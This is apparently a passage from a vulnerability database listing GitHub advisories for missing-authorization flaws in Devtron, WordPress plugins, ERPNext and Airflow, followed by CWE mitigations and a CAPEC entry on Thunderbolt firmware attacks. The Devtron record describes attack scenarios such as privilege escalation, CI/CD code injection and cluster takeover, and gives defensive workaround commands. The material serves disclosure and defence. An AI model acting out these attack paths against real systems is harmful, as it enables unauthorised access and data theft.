CI/CD pipelines to inject malicious code\n4. **Data Breach**: Can access all application configurations and Secrets\n5. **Cloud Environment Penetration**: In cloud environments, can further obtain IAM credentials\n\n### Attack Scenarios\n\n**Scenario 1: Insider Threat**\n- Low-privileged developer exploits this vulnerability to escalate privileges\n- Gains full access to production environment\n- Steals sensitive data or plants backdoors\n\n**Scenario 2: Supply Chain Attack**\n- Attacker obtains low-privileged account through social engineering\n- Exploits vulnerability to gain admin privileges\n- Modifies CI/CD pipelines to inject malicious code\n- Affects all applications using the pipeline\n\n**Scenario 3: Lateral Movement**\n- Attacker has already compromised a low-privileged account\n- Exploits this vulnerability to gain Kubernetes cluster access\n- Deploys cryptocurrency miners or other malicious payloads in the cluster\n\n## Severity\n\n**CVSS v3.1 Score**: 9.8 (Critical)\n\n**CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n\n**Score Breakdown**:\n- **Attack Vector (AV:N)**: Network accessible, exploited via HTTP API\n- **Attack Complexity (AC:L)**: Low complexity, requires only one HTTP request\n- **Privileges Required (PR:L)**: Requires low privileges (any authenticated user)\n- **User Interaction (UI:N)**: No user interaction required\n- **Scope (S:C)**: Scope changed, can affect resources beyond Devtron (Kubernetes cluster)\n- **Confidentiality (C:H)**: High impact, can read all sensitive information\n- **Integrity (I:H)**: High impact, can modify all configurations and data\n- **Availability (A:H)**: High impact, can delete resources and disrupt services\n\n**Severity Level**: Critical\n\n## Affected Versions\n\n- Devtron: All versions (as of 2026-01-26 verification)\n- Specifically affected code files:\n - `api/restHandler/AttributesRestHandlder.go`\n - `pkg/apiToken/ApiTokenSecretService.go`\n\n\n## Workarounds\n\nBefore an official patch is released, the following temporary measures can be taken:\n\n### Option 1: Network-Level Restrictions\n\n```bash\n# Use NetworkPolicy to restrict access to Devtron API\nkubectl apply -f - \u003c\u003cEOF\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n name: devtron-api-restriction\n namespace: devtroncd\nspec:\n podSelector:\n matchLabels:\n app: devtron\n policyTypes:\n - Ingress\n ingress:\n - from:\n - podSelector:\n matchLabels:\n role: admin\n ports:\n - protocol: TCP\n port: 8080\nEOF\n```\n\n### Option 2: Rotate API Token Secret\n\n```bash\n# Generate new secret\nNEW_SECRET=$(openssl rand -hex 32)\n\n# Update in database\nkubectl exec -n devtroncd postgresql-postgresql-0 -- \\\n psql -U postgres -d orchestrator -c \\\n \"UPDATE attributes SET value=\u0027${NEW_SECRET}\u0027 WHERE key=\u0027apiTokenSecret\u0027;\"\n\n# Restart Devtron service\nkubectl rollout restart deployment/devtron -n devtroncd\n```\n\n### Option 3: Add API Gateway Filtering\n\nDeploy an API Gateway in front of Devtron to filter sensitive requests to `/orchestrator/attributes`.\n\n\n## Credits\n@b0b0haha (603571786@qq.com)\n@lixingquzhi(mayedoushidalao@163.com)",
"id": "GHSA-8wpc-j9q9-j5m2",
"modified": "2026-02-05T00:35:42Z",
"published": "2026-02-04T19:46:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devtron-labs/devtron/security/advisories/GHSA-8wpc-j9q9-j5m2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25538"
},
{
"type": "WEB",
"url": "https://github.com/devtron-labs/devtron/commit/d2b0d260d858ab1354b73a8f50f7f078ca62706f"
},
{
"type": "PACKAGE",
"url": "https://github.com/devtron-labs/devtron"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": " Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage"
}
GHSA-8WV9-79MG-HGFG
Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in Ninja Team Filebird allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Filebird: from n/a through 5.1.4.
{
"affected": [],
"aliases": [
"CVE-2023-25966"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-09T13:15:24Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Ninja Team Filebird allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Filebird: from n/a through 5.1.4.",
"id": "GHSA-8wv9-79mg-hgfg",
"modified": "2026-04-28T21:35:16Z",
"published": "2024-12-09T15:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25966"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/filebird/vulnerability/wordpress-filebird-plugin-5-1-4-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8WVQ-7R24-J62P
Vulnerability from github – Published: 2025-11-22 09:31 – Updated: 2025-11-22 09:31The GSheetConnector For Ninja Forms plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'njform-google-sheet-config ' page in all versions up to, and including, 2.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve information about the system.
{
"affected": [],
"aliases": [
"CVE-2025-13136"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-22T09:15:42Z",
"severity": "MODERATE"
},
"details": "The GSheetConnector For Ninja Forms plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027njform-google-sheet-config \u0027 page in all versions up to, and including, 2.0.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve information about the system.",
"id": "GHSA-8wvq-7r24-j62p",
"modified": "2025-11-22T09:31:03Z",
"published": "2025-11-22T09:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13136"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3399046%40gsheetconnector-ninja-forms\u0026new=3399046%40gsheetconnector-ninja-forms\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5770cb94-8603-44d9-8cda-925175851b51?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8WWP-CRFW-R69P
Vulnerability from github – Published: 2026-10-13 00:31 – Updated: 2026-10-13 00:31Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks during document creation. Authenticated low-privileged users can call these endpoints to create documents against records beyond their permitted role, bypassing role-based access controls.
{
"affected": [],
"aliases": [
"CVE-2026-109615"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T23:17:25Z",
"severity": "HIGH"
},
"details": "Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks during document creation. Authenticated low-privileged users can call these endpoints to create documents against records beyond their permitted role, bypassing role-based access controls.",
"id": "GHSA-8wwp-crfw-r69p",
"modified": "2026-10-13T00:31:27Z",
"published": "2026-10-13T00:31:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/frappe/erpnext/security/advisories/GHSA-vg6r-89q7-wh34"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109615"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/frappe-erpnext-before-15.121.0-missing-authorization-in-document-creation-endpoints"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8X2Q-39XH-589Q
Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30Missing Authorization vulnerability in Kings Plugins B2BKing allows Exploiting Incorrectly Configured Access Control Security Levels.
This issue affects B2BKing: from n/a before 5.2.10.
{
"affected": [],
"aliases": [
"CVE-2026-27346"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-25T22:16:33Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Kings Plugins B2BKing allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects B2BKing: from n/a before 5.2.10.",
"id": "GHSA-8x2q-39xh-589q",
"modified": "2026-05-26T13:30:52Z",
"published": "2026-05-26T13:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27346"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/b2bking-wholesale-for-woocommerce/vulnerability/wordpress-b2bking-plugin-5-2-10-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8X34-9Q3V-H7G8
Vulnerability from github – Published: 2026-03-17 12:30 – Updated: 2026-06-05 14:26Apache Airflow versions 3.1.0 through 3.1.7 missing authorization vulnerability in the Execution API's Human-in-the-Loop (HITL) endpoints that allows any authenticated task instance to read, approve, or reject HITL workflows belonging to any other task instance.
Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "apache-airflow"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30911"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T16:33:18Z",
"nvd_published_at": "2026-03-17T11:16:11Z",
"severity": "HIGH"
},
"details": "Apache Airflow versions 3.1.0 through 3.1.7 missing authorization vulnerability in the Execution API\u0027s Human-in-the-Loop (HITL) endpoints that allows any authenticated task instance to read, approve, or reject HITL workflows belonging to any other task instance.\n\n\nUsers are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.",
"id": "GHSA-8x34-9q3v-h7g8",
"modified": "2026-06-05T14:26:42Z",
"published": "2026-03-17T12:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30911"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/pull/62886"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/airflow"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-17.yaml"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/1rs2v7fcko2otl6n9ytthcj87cmsgx51"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/03/17/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Airflow: Execution API HITL Endpoints Missing Per-Task Authorization"
}
GHSA-8X3H-8WQ2-V4X4
Vulnerability from github – Published: 2024-06-19 15:30 – Updated: 2024-06-19 15:30Missing Authorization vulnerability in Wpmet Elements kit Elementor addons.This issue affects Elements kit Elementor addons: from n/a through 2.9.0.
{
"affected": [],
"aliases": [
"CVE-2023-39993"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-19T13:15:54Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Wpmet Elements kit Elementor addons.This issue affects Elements kit Elementor addons: from n/a through 2.9.0.",
"id": "GHSA-8x3h-8wq2-v4x4",
"modified": "2024-06-19T15:30:52Z",
"published": "2024-06-19T15:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39993"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/elementskit-lite/wordpress-elementskit-lite-plugin-2-9-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.